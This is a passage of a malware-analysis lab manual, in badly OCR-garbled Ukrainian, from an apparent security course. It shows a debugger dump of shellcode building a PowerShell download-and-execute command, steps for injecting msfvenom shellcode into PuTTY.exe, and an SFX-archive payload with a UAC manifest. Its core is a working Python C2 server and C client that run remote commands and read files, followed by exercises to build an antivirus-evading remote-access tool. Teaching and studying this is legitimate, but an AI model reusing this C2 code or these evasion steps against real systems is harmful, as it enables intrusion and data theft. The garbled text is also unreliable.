E CcPU 9 Graph |4 Log [ Notes ® Breakpoints B Memory Map [ call stack. &7 SEH le3| Seript & symbols <Hsdh
#|[001F014D 68 202B4E65 push 654E2820 ~ i
e | 001F0152 68 22262078 push 7B202622 HidegieD
e | 001F0157 68 616E6420 push 20646E61 >
001F015C 68 636FGDED push 6DEDEFE3 Eﬁ gggggg;g
® || D01FD161 68 6CEC202D push 2D206C6C B pEEGTEE
# || 001F0166 68 72736865 push 65687372
«|| 001F016E 68 706F7765 push 65776F70 EDX 00000000
®| 001F0170 83E mov edx,esp EF (norriig N
41 inc ecx ESE 04C7FAAC powershell -c
51 push ecx ESI 751DF853 "wWinExec"
52 push edx EDI 7519DAB0D <kernel3z2.winex
FFD7 Eam edi
E8 BDFEFFFF call 1F0009 EIP  OOLFO177
8B34AF mov esi,dword ptr ds:[edi+ebp+4]
01CE add esi,eax
001F0181 45 inc ebp EELQGSPF Eouggsg-l
001F0182 813E 45786974 cmp dword ptr ds:[esi],74637845
001F0188| ~ 7 jne 1FD17C O SO 0FD
001F0184 817E 04 50726F63 cmp dword ptr ds:[esi+4],636F7250 €F o TF1 IF1
001F0191| ~ 75 E9 jne 1F017C
001F0193 8B7A 24 mov edi,dword ptr ds:[edx+24] LastError 000005BF (ERROR_NOT_GUT_|
® || 001FD196 7 add edi,eax LastStatus CO00000D (STATUS_INVALID)
®|( D01FD198 66: BB2C6F mov bp,word ptr ds:[edi+ebp*2]
® | 001F013C 8B7A 1C mov edi,dword ptr ds:[edx+1C] G5 002B FS 0053
® || 0D1FD19F 01C7 add edi,eax ES 002B DS 002B
O01FO1AL 8B7CAF FC mov edi,dword ptr ds:[edi+ebp*4-4 Cs 0023 S5 DO2B
® | DO1FO0LAS 01C7 add edi,eax
ol oaTEaTas s sl e ST(0) 00000000000000000000 X87r0 En
o | 001F01AA FFD7 B et ST(1) 00000000000000000000 X87r1 EN|
e|| 001FOTAC 00DA add d1,b1 ST(2) 00000000000000000000 X87r2 En|
O01FD1AE A3 DFBFFFGF mov dword ptr ds:[6FFFEFDF],eax ST(2) 00000000000000000000 X87r3 EM
o/ 001F01E3 6F tsd ST(4) 00000000000000000000 x87rd Em |
« | 001F01B4 00DA add d1,b1 | [
o| pnasnass = e Defauit (stdcall) ~ [5_[2]J unlocked
1: [esp] 65776F70
QO1F0002 z: [esp+4] 65687372
3: [esp+8] 2D206C6C
N TEDTE e 4: [esp+C] 6DGDGFG3
| 04C7Faac LERREERD
Woump1  Whoump2  Wloump3  Wlpump4  @Wpumps @ watch1  [xelLocals EhEEE6ETITZ -~
Address | Hex ASCIT Egggggggg
04C7FAAC [0 6F 77 65|72 73 68 65|6C 6C 20 2D[63 G6F 6D 6D |Powershell -comm E2064ec61
D4C7FABC (61 GE 64 20|22 26 20 7B|20 28 4E 65|77 2D 4F 62|and "& { (New-Ob 7202622
O4C7FACC [6A 65 63 74|20 4E 65 74|2E 57 65 62|43 6C 69 65|ject Net.webClie EohEsE T
04C7FADC [6E 74 29 2E|44 6F 77 6E|6C 6F 61 64|46 69 6C 65| nt).DownloadFile et tongs
04C7FAEC |28 27 68 74|74 70 73 3A|2F 2F 74 68|65 2E 65 61| ("https://the.ea Eaeacsen
04C7FAFC |72 74 68 2E|6C 69 2F 7E|73 67 74 61|74 68 61 6D|rth.1i/~sgtatham 74654220
04C7FBOC|2F 70 75 74|74 79 2F 6C|61 74 65 73|74 2F 78 38| /putty/latest/xs Cezecsrar
04C7FBIC 74 74 79 2E|65 78 65 27|2C 20 27 70| 6/putty.exe’, ' Eeceoecas
04C7FB2C |75 74 74 79|2E 65 78 65|27 29 20 38|28 4E 65 77|utty.exe') ;(New EoEsBAeE
04C7FB3C (2D 4F 62 GA|65 63 74 20|2D 63 6F GD|20 53 68 65| -Object -com She CeEzocas
04C7FB4C (6C 6C 2E 41|70 70 6C 69|63 61 74 69|6F 6E 29 2E|11.Application). CeReters
04C7FB5C |53 68 65 6C|6C 45 78 65|63 75 74 65|28 27 70 75 |shellExecute( pu Ceseceo46
04C7FBEC (74 74 79 2E|65 78 65 27|29 3B 7D 22|00 00 00 00| TTY.exe')i}".... Eric82728
04C7FB7C (00 OO0 OO0 00|00 00 00 00|00 00 00 00|00 00 00 00| .....ovenernnnnn o arosa v
04C7FBBC |00 00 00 00/00 00 00 00|00 00 00 00100 00 00 00/ ........... oc RS
< >
Command: | IDefauIt =
Paused  |Dump: D4CTFAAC -> 04CTFAAC (0x00000001 bytes) | Time wasted Debugging: 0:00:05:18

Puc. 3.5: 3aBanTakeHHsI BUKOHYBAaHOTO ity y IIeJIIKOI
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@ [ LordPE Deluxe b ] by yoda - o x I[SEd\onTab\e] [~
N Hame [ votset [ vsize | Roffset | RSize | Flags |
Path [ PID [ ImageBase | ImageSize El PE Editor 0001000 OOOSDESE  0DOOD400  0O0SDS00 60000020
] e mEL gmE ume o
: : : : Egggggj: gggggggg gggggggg Rebuid PE O0DBBODD  0OODOO04  OOOBS400  0O0DOZ00 40000040
5 Il 0008CO00 00000084 O00BSE00 00000200 40000040
9% fsystem] UOWOIZE  0OONOOD OODODODO [ Unspil__ || M v 000BDODG 0004 OO0BEE0N 00048300 40000040
< D] D= S edit section header... | - S
Path | ImageBase | ImageSize | T e edit section..
[ PE Editor ] - chtest\putty.exe load section from disk...
Basic PE Header Information TR save section to disk..
EntyPoint ODOBFESE  Subsystem 000z | About 2dd section header
ImageBsse; | ODAODOO0  NumbeiDiSeciions 0007 B wipe section header
SizeOflmage: 00111000 TimeD ate§ tamp: SDBT3EBE = Sections
BaseDiCode: 00001000 SizeOfHeaders: 00000420 7+ | Dieclories fruncete st section stert
BaseOfData 00000000 Characteristics: o102 ] FLC truncate at end of section
Sectiondlignment: | 00001000 Cheeksum: O0T1818E | 7 | TosC split
Filetlignmert 00000200 SizeDfDptionaHeader 00ED unspli...
Maic: [T OI0B NumOivadndsies: | 00000010+ - | IIE””‘”“ -

Puc. 3.6: HoBa cekniz y 3aronosky PE

Section Header

Name:
Vitualdddress:
VitualSize:

RawDffset:

Rawsize:
Flags:

[ Edit SectionHeader |

ity
00111000
400
00107000
[ 40

EO0000ED .|

[ Section Flags ]

- SetFlags

[] Shareable in memory
Execulable 25 code

Readable:
Witeable

Contains extended relocations

Discardable as needed

Carit be cached
Not pageable

[] Cortains COMDAT data

Containg comments or other infos.
“Won't besome pait of the image

Contains executable cade

Contains initalzed data

Contains uninitized deta

L] Shouldn' be padded ta nex! boundary

Alignment: | default x| Bytes

Curent Value
’7 ENOODDED —‘

Puc. 3.7: Po3mip Ta arpubyTn HOBOI ceKiiil

3.3.5 Iurerpamisa memnkoay y Win32 PE

Posrisitnemo moaudikariito icuyrounx Bukonyanux PE daiiiis Ha mpukiai iH-
Terparil mesikoay. [loaibHi 3a/1adi BUHMKAIOTH Ha eTarax JIOCTABKU JJIsT Ma-
CKyBaHHSI HaBaHTaxKeHHs. [cHye Takoxk okpemmit kirac I3, mo no3Bosse iH-
TerpyBaTu 2 BUKOHYBaHI Dailyin B OJIWH, 3 BIAKPUTUM 3aIlyCKOM IEPIIOro i mpu-
XOBaHWM JpyToro (T.3B. joiners). B sikocri mini Bukopucraemo PuTTY .exe, micist
3aITyCKY IIEJUIKOY 3Pa30K Ma€ 30epiraTu OpUriHAIbHY (DYHKIIIOHAJIBHICTS:

1. 3a monomorowo LordPE [71] nogamo HOBY cekito (puc. 3.6);

2.

(0x400, puc. 3.7);

cy nouarky HoBol cexiil (0x111000);

ITapamerpu HOBOI cekil — BipTyaJbHUl Ta (izuunuit posmip 1024 Gaiitu
Banam’araemo ajpecy Touku Bxoxy (EP=0x6FE96), ta saminnmo Ha ajpe-

Bukopucraemo Hiew [72] a1 pearyBaHHsI KOJy HOBOI CEKIIil: nepeiiieMo

Ha Touky Bxoxy (F8, F5), Bugimumo 512 Gaiir (*), sanosaumo NOP (Alt-

F2, 90).

Jomamo mepexii Ha OpUriHAJIBHY TOYKY BXOAy B Kiuii 6;10ky NOP. V Wi-

ndows 10 BukopucroByeThcst panjomizanis aapec (ASLR), romy Gymemo

PO3pPaxoByBaTU aJIpECy JAUHAMIYHO BiIHOCHO IIOTOYHOI:
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= DOSBox B.74, Cpu speed: 3AAA cucles, Frameskip B...

SAMPLE1.EXE IFR0 PE.0051120C a32 ——————— 1096680 || Hiew 6.50 (c)SEN

LGO5111ED: 90 nop

LGO5111EE: nop

LGO5111EF: nop

.G05111F0: nop

LG05111F1: nop

.0E5111F2: nop

LGO0111F3: nop

.G05111F4: nop

LGO5111F5: nop

.G05111F6: nop

.OE5111F7: nop

LGO0111F6: nop

.G05111F9: nop

.G05111FA: nop

.GO05111FB: nop

.0E5111FC: nop

LGO5111FD: nop

.GO5111FE: nop

.GO5111FF: nop

.00511200: ESO00000000 call

LOE511205: 58 pop eax

00511206 2DEF130A00 sub eax,0000A136F ;" fio”
.0051120B: FFE Jmp eax

ZFilBlk 3 S50rd0ff & 8Xlat | 9 10Leave

Puc. 3.8: Ilepenava kepyBaHHs Ha OPUTIHAJILHY TOUKY BXOJY

call me
me:
pop eax
sub eax, OFFSET
jmp eax

ne OFFSET = 0x111000 - 0x6FE96 + 512 + 5 (Hoa EP - opurinanbha
EP -+ smimenng inerpykuii call Bignocno EP + posuip incrpyxuii call).
Honamo ko y Bukonysanuit daitn — Edit (F3), Asm (F2). V pasi ycuixy
CeKIIisl Ma€ BUIVIS K Ha puc. 3.8;

6. lomaru mresuikosT MOXKHA 3a JOIIOMOTOIO Iepe3anucy y daiir 6oy 3 512
NOP 3a aumimennam 0x107¢00 (RawOffset HoBOI cexyii).

B gkocri meskomy Bukopucraemo Metasploit windows/messagebox:

$ msfvenom -f raw -p windows/messagebox exitfunc=none text=’Hello kitty!’ -o
scl.bin
$ dd conv=notrunc bs=1 seek=$((0x107c00)) if=scl.bin of=sample2.exe

IIporecryemo 3pasku y Kaspersky Antivirus Free, puc. 3.9. ITicis 3amycky
0bu1Ba 3pa3Ku 36epiraroTh GyHKIIOHAJBHICTD, ¥ APYTOMY BHIIAIKY ITOKA3YETHCSI
“Hello kitty!”.

3.3.6 TecroBe HaBaHTaAKEeHHHA

OpyH 3 IpUMITHBHEX, aJjie JI0CI PO3IMOBCIOKEHUX, METO/IIB JOCTABKI KOPUCHOTO
naBanTaykenust — SFX apxisu WinRAR, 7-Zip ra in. Cama mo cobi TexHOJIOTIsSk
po3pobiteHa Jjist JIeTAJIbHUX il — IHCTAJSAI] TPOrPAMHOTO 3a0e3MeIEHHST — TO-
My He 6JIOKyeThCsi aHTUBIpycHUMHU 3acobamu. B cykymmocri 3 T1219 (MITRE

42



@ Detailed Reports - O x
O All events ~ 24 hours ~ Export... @

In progress
Selective Scan

Full Scan (paused) 6:19
Objects detected: 3, neutralized: 0, not disinfected: 3 Detected
0
Today
B Deleted
@ Selective Scan 16:33 0
No threats detected
Not disinfected
@ Selective Scan o crenee
No threats detected

Release date of databases used for scan

Today, 25/04/2020 10:57

@ Selective Scan

No threats detected
Total duration

Q) Selective Scan 16:28
0 seconds

No threats detected

@
o
=3

Completion time

Today, 25/04/2020 16:33

@
[
&

@ Selective Scan

No threats detected

Details

a
4
R

. Object (file) not processed
I}

C:\Program Files\Process Hacker 2x86\ProcessHacker.exe

a
2
R

E‘ Object (file) not processed
Ci\Program Files\Process Hacker 2\pe

a
g
R

. Object (file) not processed
IE)

C:\Program Files\Process Hacker 2\kprocesshacker.sys

Puc. 3.9: Pegynbpraru TecTyBaHHsI cTBOpeHHX 3paskiB y KAV

ATT&CK Remote Access Tools), Moxke BUKOPUCTOBYBATHUCS JiJIs 3a0e3MedeHHst
BIJJIaJIEHOrO JIOCTYILY JIO ILIBOBOI CUCTEMHU. PO3IJISTHEMO CTBODEHHS Ta aHAaJIi3
TAKOT'O apXiBy Ha MPUKJIAMIL 7-Zip.

V¥ 7-Zip SFX omucani 8 LZMA SDK [73], sdk/DOC /installer.txt. st masnx
SFX momynis (po3zin Small SFX modules for installers) 3acrocoByerbest mpo-
cra KOHKaTeHanlist 3aBaHTaxkysada 7z52.sfx (GUI Bepcisi) Ta 1isgpoBoro apxisy.
[Ticsist 3amycKy 3aBaHTaXKyBad CTBOPIOE TUMYACOBUI KATAJIOL, PO3TOPTAE IILIHO-
BUil apXiB Ta HAMATra€TbCsl 3aIlyCTUTHU (Dailyl iHCTAJISITOpa, KUl 0OUpPAEThCS 3
BMicTy apxiBy 3a npiopurerom imeni (setup, install, run, start) Ta posmupents
(bat, cmd, exe, inf, msi, cab, html, htm). Takum unsOM HepruM Gyie 3aILyIEHO
setup.bat, y pasi Bigcyrrocti — start.htm i 1.1, JLs1 Bizic/miKoByBaHHST 3aIIyCKy
Oyaemo Binkpuparu (ailsi 300parKeHHsI:

$ cat setup.bat
@echo off

start kitty.jpg
ping -n 2 127.0.0.1

$ cat start.htm
<div style="background: url(kitty.jpg) no-repeat center center fixed; height:
100%; width: 100%"/>

$ 7z a payload.7z setup.bat start.htm kitty.jpg
$ cat 7zS2.sfx payload.7z > kitty.exe

[Ipu 3amycky y Windows 10 cuparpoBye UAC — BumararoTbest mpusisel aimi-

Hicrparopa. Jljisi BUIIpaBJIeHHsT JIOCTATHRO IHTEIPYBaTH MaHI(PECT 3 BU3HAYEH-
HsiM napamerpy requestedExecutionLevel asInvoker [74]:

test > type manifest.xml
<?xml version="1.0" encoding="utf-8"7>

<assembly xmlns="urn:schemas-microsoft-com:asm.vl" manifestVersion="1.0"
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3">
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Photos - kitty,jpg

N =

Puc. 3.10: Bukonanus naBantaxkennst SFX apxiBy

<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1i">
<application>

<!--application support for Windows Vista -->
<supported0S Id="{e2011457-1546-43c5-abfe-008deee3d3£f0}"/>
<!--application support for Windows 7 -->

<supported0S Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
</application>
</compatibility>

<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges >
</security>
</trustInfo>
</assembly >

test > mt.exe -manifest manifest.xml -outputresource:"7zS2.sfx;#1"
V pasi ycmixy 300parkeHHsI 3aJUIIAETHCHA BIIKPUTHUM B IIIBOBil cucremi
(puc. 3.10), daitn 306pazkeHHs PA30M 3 IHITUM BMICTOM apxiBy BHJAJISIETHCSL.
AmnamizyBarn nofibHI 3aBaHTaXKyBadi MPOCTO — 77 iIrHOPYE MaHi IO TOYATKY
apxiBy:
$ 7z 1 kitty.exe
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (loca1e=en_US.UTF—8,Utf16=on,HugeFiles=on,64 bits,8 CPUs

Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)

Scanning the drive for archives:
1 file, 144272 bytes (141 KiB)

Listing archive: kitty.exe
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Path = kitty.exe

Type = 7z

Offset = 35328
Physical Size = 108944
Headers Size = 209
Method = LZMA2:17

Solid = +
Blocks = 1

Date Time Attr Size Compressed Name
2020-04-24 02:29:45 ....A 108580 108735 kitty.jpg
2020-04-24 02:41:29 ....A 49 setup.bat
2020-04-24 02:29:33 ....A 99 start.htm
2020-04-24 02:41:29 108728 108735 3 files

$ 7z x kitty.exe

B sikocTi mpukiamy cripobyiite 7z 3 maposem “WNcry02017” na 3pasky WannaCry
3 po3ainy 3.3.1.

3.4 BapiaaTu 3aB/1aHb

e TIporecryiite pafish.exe (posmin 3.3.3) y Cuckoo (posxin 3.3.1). Iopis-
HANTe Pe3yILTATH 3 IPSMUM 3allyCKOM y BipTyaJIbHill MAIIUH.

e Pogzropuits smaboparopito 3 pozminy 3.3.2 3 2-3 amTuBipycamu. Crmcok
AHTUBIPYCIB MOYXKe BKJIIOYATH, ajie HE OOMEXKYEThCS:

— Windows Defender;

— Kaspersky Free Antivirus;

— Bitdefender Antivirus Free Edition;
— Avast Free Antivirus;

— Avira Free Antivirus;

— AVG 2020;

360 Total Security;

Sophos Home Free;

Zillya! Antusipyc BeskomrosHuii.
OmnosiTph anTusipychi 6a3u /10 MOTOYHOI'O CTAHY.
e Jlocainits 3-5 3paskis 3 theZoo [58] y

— Cuckoo Sandbox;

— AwnTuBipycHiit 1abopaTopil 3 momnepesHporo KpoKy.

IIpu poboTi morpumyitrech TexHiku 6esmeku. Y theZoo npejcraBieHi akTuB-
Hi 3pa3Ku 3 QYHKIISIMEU M PYBaHHS, 3HATIEHHS iH(OpMAIIil, eKcIyaTa-
il Bpa3MBOCTEH B JJOKATBHIIN CHCTEMI Ta MepeXKi, aBTOMATHUIHOTO PO3IIO-
BeroyizKeHHs. Heobepekuuit 3amyck MOXKe IIPU3BECTH [0 3aparKeHHs BJla-
CHOI CHUCTEMU Ta BTPATH JIAHUX.
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e Peauiizyiire moBoto C/C++ [ieTeKTyBaHHs CepeIOBUINA aHAJI3Y — [IPH 3a-
nycky y Cuckoo Ta abopaTopii 3 HonepaHbLOro MmyHKTY Iporpama:

— He Mae€ o3HaK mmKijymBocti y Cuckoo Ta He HeTEeKTyeThCs aHTUBIPY-
caMu,
— 3aBepIye pobOTy B CEPEIOBUII aHATI3Y,

— 1pH 3anycKy y diznuniil cucreMi nokasye moBiIOMJIEHHS KOPUCTYBa-
ay (MessageBox “Hello kitty!”).

SaMmiHiTh TOBIIOMIIEHHS HA 3AIYCK JOBLIBHOrO meaikomy (posmir 3.3.4).

o Ilpoanasisyiite mexaniam nepenadi kepysanug y LIEF [75], na upuxiazi
imcrpymentyBanns PuTTY.exe (posuin 3.3.5).

(nigBuiienoi ckaazgnocti) JocsigiTs MeToan inTerpamnil mesiKomy Ta Mo-
mudikamii moroky Bukonanus y Shellter [76].

(nigBuienoi ckaagnocti) JomaiiTe MOKIMBICTD aBTOMATHYHOI iHTErpaIiil
po3pobJieHoro 3pasky y icHyiodi Bukonysani daiim (posmin 3.3.5, Ta 3a
pesyJIbraTaMy [ONepeIHboro myHKTy). I[Ipu Bukopucranni Python moxe
6yru kopucuum pefile [77] Ta LIEF [78].

36epiTh MOBHICTIO 3pa30K 3ac00y IOCTABKY 3 PE3YJIHTATIB IOMEPeTHIX Iy H-
kTiB — anruemyJanisg, download-execute meikos, HaBaHTaXKeHHs (PO3-
nin 3.3.6), ta npoanasisyiire y posropuyrux Cuckoo ta saboparopil.

Momudikyitre oTpuMaHnii 3pa30K JJIsT YCIIITHOTO MTPOXOIXKEHHS TTOBE TiH-
KOBOTO aHAaJIi3y Ta TECTiB aHTUBIPYCHUMH 3aCO0AMMU.

3.5 KoHTpoJbHI MUTaHHA

1. 4k B mesuikoni 3uaxopurbes anpeca kernel32.dll? Anpecu dynxiiii (mo-
qnnaioun 3 GetProcAddress)? Posrisubre Bunagku Windows x86 ra x64.

2. 4x BindyBaeThes nepexomienus BukimkiB Win32 API dyukmiit y Cuckoo?
4K 3aCTOCOBYETBCsI JIjIsl BUSIBJIEHHSI CEPEIOBUINA aHAJIIZY !

3. 4ki noeninkoBi xapakTepuctuku Meterpreter BukoprucroByorsea y Wi-
ndows Defender st BusiBienus?
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JlabopaTopua pobora 4

CucreMn B1IJaJIEHOT'O
KepyBaHHS

4.1 Meta poboTn

OTpuMaTn HABUYKH aHAJI3Y Ta MOJEIIOBAHHS CHCTEM Bi/[JIAJIEHOIO KePyBaHHS.

4.2 llocranoBKa 3agadi

Hocaiguru Texmosorii nodymosu I1IT13 ta cucrem BijmageHOro KepyBaHHS s~
XOM MOJIEJIIOBAHHSI.

4.3 Ilops/10K BUKOHAHHS pPobOTHU

PosiistHemo 6a30B1 ejileMeHTH CUCTEM BiJiIaleHoro KepyBaHHsl Ha TpukJjai. CTBo-
pumo 3pasok g OC Windows Ta Linux, mo 6yme 3abe3nedyBaTu BijgajieHe
3’€IHAHHSA 3 CHCTEMOIO KEPYBAHHS, MATH MOXKJIUBICTH 3aIyCKy KOMAHJ OIl€pa-
niftHol cucremu Ta yuTaHHs daiuis. CucreMa KepyBaHHsS Ma€ HACTYINHUN BH-
s, c2kitty.py:

#!/usr/bin/env python3.8

import sys

import struct

import socket
import subprocess

USAGE = """usage:
c2kitty ip:port outputl[.exel
to generate new sample,
ip:port -- C2
output [:exe] -- output filename (Win32 sample if name ends with .exe)

c2kitty port
to listen for incoming connection"""

def read(conn, size):

buf = b""
while len(buf) != size:
buf += conn.recv(size - len(buf))

return buf

def control(port):
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def

if

print("c2 listening on port {}".format (port))

s = socket.create_server (("", port))
conn, addr = s.accept ()
print ("connection from {}:{}".format (*addr))

os = conn.recv (1)
if os == b"U":

os = "linux"
elif os == b"W":

os = "windows"
else:

os = "unknown"

print ("remote os is {}".format (os))
print ("use ! for command execution, < for file read")
while True:
inp = input ("> ")
cmd = inp [0]
param = inp[1:]
payload = struct.pack("I", len(inp)) + param.encode("utf-8") + b"\0"

if cmd == "!":
print ("executing [{}]".format (param))
conn.send (b"E" + payload)

elif cmd == "<":
print ("reading [{}]".format (param))
conn.send (b"R" + payload)
length = read(conn, 4)
length = struct.unpack("I", length) [0]

print ("file size {}".format(length))
data = read(conn, length)
print (data.decode ("utf-8"))

generate (address, output):

print ("generating sample for {} to {}".format (address, output))
ip, port = address.split(":")

port = int(port, 10)

if output.endswith(".exe"):
print ("using windows template")

gcc = "i686-w64-mingw32-gcc"

link = "-1ws2_32 -Wl,--subsystem,windows"
else:

print ("using linux template")

gcc = "gcc"

link = ""

out = subprocess.check_output (’{0} -DIP=\\"{2}\\" -DPORT={3} template/
client.c -o "{1}" {4} && strip -s "{1}" && 1ls -1 "{1}"’.format (gcc,
output, ip, port, link), shell=True)

print (out.decode ("utf-8"))

__name__ == "__main__":
if len(sys.argv) > 2:
address = sys.argv[-2]
output = sys.argv[-1]
generate (address, output)
elif len(sys.argv) > 1:
port = int(sys.argv[-1], 10)
control (port)
else:
print (USAGE)

3pazok uekae Ha TCP 3’ennanus Ha 3aJaHOMY TOPTi, 1 00POOJIIOE TTPOCTHIA

nporokos opmary “1 cmd|4 payload len|payload”. Ilixrpumyorscs cmd E
— pukonanus komauau OC 3a system(), R — uuranug daiiny 3 Biggansenol cu-
cremu. Kiienrcoka yacruna uHa C, template/client.c:

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
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#ifdef __linux__

# define UNIX
#else

# define WINDOWS
#endif

#ifdef UNIX

# include <arpa/inet.h>
# include <sys/socket.h>
# define 0S "U"

#else

# include <ws2tcpip.h>
# include <winsock2.h>
# include <windows.h>
# define 0S "W"

#endif

#ifndef IP

# define IP "172.16.78.1"
# define PORT 1337
#endif

int dump(int sockfd, char* fn) {
FILE* in = fopen(fn, "rb");
if ('in)
return 6;

uint32_t len = 0;
fseek(in, 0, SEEK_END);
len = ftell(in);

rewind (in) ;

char* buf = calloc(len, 1);
if (!buf)
return 7;

len = fread(buf, 1, len, in);
send (sockfd, (void *)&len, sizeof(len), 0);
len = send(sockfd, buf, len, 0);

free (buf);
return len;

}

int main() {
#ifdef WINDOWS
WSADATA wsaData;
WSAStartup (MAKEWORD (2,2), &wsaData);
#endif
int sockfd = socket (AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
return 1;

struct sockaddr_in server;

server .sin_addr.s_addr = inet_addr (IP);
server.sin_family = AF_INET;
server.sin_port = htons (PORT);

if (connect (sockfd, (struct sockaddr *)&server, sizeof (server)) < 0)
return 3;

send (sockfd, 0S, 1, 0);
for(;;) {
uint8_t cmd = 0;
uint32_t len = O0;

recv(sockfd, &cmd, sizeof(cmd), 0);
recv(sockfd, (void *)&len, sizeof(len), 0);

char* buf = calloc(len, 1);

if (!buf)
return 4;

49



recv(sockfd, buf, len, 0);

switch(cmd) {
case ’E’: system(buf); break;
case ’R’: dump(sockfd, buf); break;
default: return 5;

¥

free(buf);

}

return 0;

st CTBOpEHHST BUKOHYBaHUX (DailliB KJIEHTCHKOI YaCTUHU:

$ ./c2kitty.py 172.16.78.1:9091 kitty
generating sample for 172.16.78.1:9091 to kitty
using linux template

-rwxr-xr-x 1 user user 10216 May 7 02:06 kitty

$ ./c2kitty.py 172.16.78.1:9091 kitty.exe
generating sample for 172.16.78.1:9091 to kitty.exe
using windows template

-rwxr-xr-x 1 user user 12800 May 7 02:06 kitty.exe

$ file kittyx*

kitty: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /1ib64/1, for GNU/Linux 3.2.0, BuildID[
shal]=84fa268b0d2d2690d94e540cb6c9£0c5919¢c9cd9, stripped

kitty.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for
MS Windows

[Ipukian 3anycky vy Windows i Linux:

$ ./c2kitty.py 9091

c2 listening on port 9091

connection from 172.16.78.132:52560

remote os is windows

use ! for command execution, < for file read

> !systeminfo > c:\windows\temp\out.txt
executing [systeminfo > c:\windows\temp\out.txt]

> <c:\windows\temp\out.txt
reading [c:\windows\temp\out.txt]
file size 2549

Host Name: WINDEV2003EVAL
0S Name: Microsoft Windows 10 Enterprise Evaluation
0S Version: 10.0.18363 N/A Build 18363

$ ./c2kitty.py 9091

c2 listening on port 9091

connection from 172.16.78.1:58588

remote os is linux

use ! for command execution, < for file read
> </etc/issue

reading [/etc/issue]

file size 26

Ubuntu 18.04.4 LTS \n \1

> !lsb_release -a > /tmp/out.txt
executing [lsb_release -a > /tmp/out.txt]

> </tmp/out.txt
reading [/tmp/out.txt]
file size 164

LSB Version: core-9.20170808ubuntul -noarch:security-9.20170808ubuntul -
noarch

Distributor ID: Ubuntu

Description: Ubuntu 18.04.4 LTS

Release: 18.04

Codename : bionic

HagiTh Takoro mpuMiTUBHOTO 3pa3Ky JOCTATHBO JJIsT 0OX0y OAaraThoxX aHTH-
BipycHux 3aco6is/EDR, Ta nepemimennst Becepeuni 1istb0Bol Mepexi [79].
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Icaye nmekinbka kimacudikariii TexHodoriit, mo BukopucroByiotbest [TIT13 Ta
upu anauizi. Jamni 6ynemo nocmnarucs na MITRE ATT&CK techniques [80]:

1.

2.

10.
11.
12.

13.

T1082 — System Information Discovery,
T1059 — Command-Line Interface,
T1083 — File and Directory Discovery,
T1105 — Remote File Copy,

T1107 — File Deletion,

T1057 — Process Discovery,

T1056 — Input Capture,

T1115 — Clipboard Data

T1113 — Screen Capture,

T1123 — Audio Capture,

T1125 — Video Capture,

T1055 — Process Injection,

T1093 — Process Hollowing.

4.4 BapiaHTH 3aBJaHb

1.

2.

3.

Ipoanasmisyiite 3pasku EvilGnome [81, 82]:

e https://github.com/CyberMonitor/
APT_CyberCriminal Campagin_Collections

7ffab36b2fa68d0708c82f01a70c8d10614ca742d838b69007£5104337a4b869
82b69954410c83315dfe769eed4bbcfc7d11£f0f62e26ff546542e35dcd7106b7
a2lacbe7ee77c721f1adc76e7a7799c936e74348d32b4c38f3bf6357ed7e8032

Pozpobite cucremy BifiaaeHOro KepyBaHHS:

e OC Windows, Linux;

e Kpociuiardopmenuit nenrp kepysanus (3epHith yBary za web in-
repdeiic abo PyQt);

e Peanizye texniku posminy 4.3: 1056, 1057, 1059, 1082, 1083, 1105,
1107, 1113, 1115, 1123, 1125 (onmniiino 1055, 1093);

e Bimnosinae Vault7 Development Tradecraft DOs and DON'Ts [83];

e B sKkocTi TeXHOJIOTiT AaHTU-eMyJISIi] Ta AHTUBIPTYasi3aIlil BUKOPUCTO-
By€ pe3yJbraTu jJaboparopuol podoru 3.

IIpoanamnizyiiTe orpumanunii 3pa3ok B cucreMax 3 po3zaiais 3.3.1 ta 3.3.2,
BIIEBHITHCH Y BIJICYTHOCTI JI€TEKTYBaHHSI.

o1



4.5 KOHTpOJIbHI ITNTAHHSI

1. Yomy npu 3amycky calc y Windows 3a mgomomMororo 3pas3ka 3 po3iay 4.3
3’SIBJISIETHCsI YOpHE BiKOHIE?

2. o 6yme, axmo 3amicts [P agpecu mpu mobymoBi 3pa3ka 3 posainy 4.3
nepegaru iM’ss DNS? IPv6?
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JlabopaTopna pobdota 5

AHaJII3 MepexkKeBuX
KOMYHIKaIIiii

5.1 Meta poborn

OTpumaTn HABUYKH aHaji3y MepekeBux komyHikamiit [TITI3.

5.2 IlocraHoBKa 3ajadi

JoctinTu MeToau aHAJII3y Ta IPOTHIIl aHAJI3y MepexKeBOro Tpadiky Ha Impu-
KJIa/1i 3pa3KiB 3 jgaboparopHoi poboTu 4 Ta Bimomoro IIITI3.

5.3 IlopsimoK BUKOHAHHSI POOOTH

5.3.1 IIlnro3 aHTUBIpYyCHOI JlabopaTopil

Brockonammmo Jsraboparopito 3 po3miay 3.3.2 [jist aHaJi3y MeperKeBUX KOMYHi-
kaniit. Tonamo emyusiio inTepaer cepsicis 3a gomomororo INetSim [84]. st
IOTO 3MIHMMO KOHQITypaIiio Mepexi BipTyaJbHOI MAaIUHA — CTBOPUMO i30-
siboBaHuil cerment AV, momamo HoBuii iHTepdeiic 1o Kali VM gk ma puc. 5.1,
3MIHUMO MepexKeBHuil ajantep y jgabopatopil. TakuMm duHOM, Mepeka CKJIa1ac-
ThCS 3 JBOX CHCTEM:

o IIlmro3: Kali

— 3osuimHiit inTepdeiic: eth0, NAT, IP agpeca 3a DHCP,
— IzosmboBana mepexa: ethl, AV, IP 10.13.37.1/24

e Jlaboparopis 3 poziny 3.3.2: Windows 10
— IsompoBana mepexa: AV, IP 10.13.37.2/24, puc. 5.2

Beranosumo Ta manamryemo INetSim:

# dhclient -v ethO
# ifconfig ethl 10.13.37.1/24
# apt install inetsim
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Virtual Machine Settings 0

Hardware Options

Device Status

Device Summary
emary 4 BB Connected
&Processars 4 @Connect at power on
?Hard Disk (5CS5I) B8 GB Network Connection
GCD/DYD (IDE) Auto detect Bridged: Connected directly to the physical netuwork
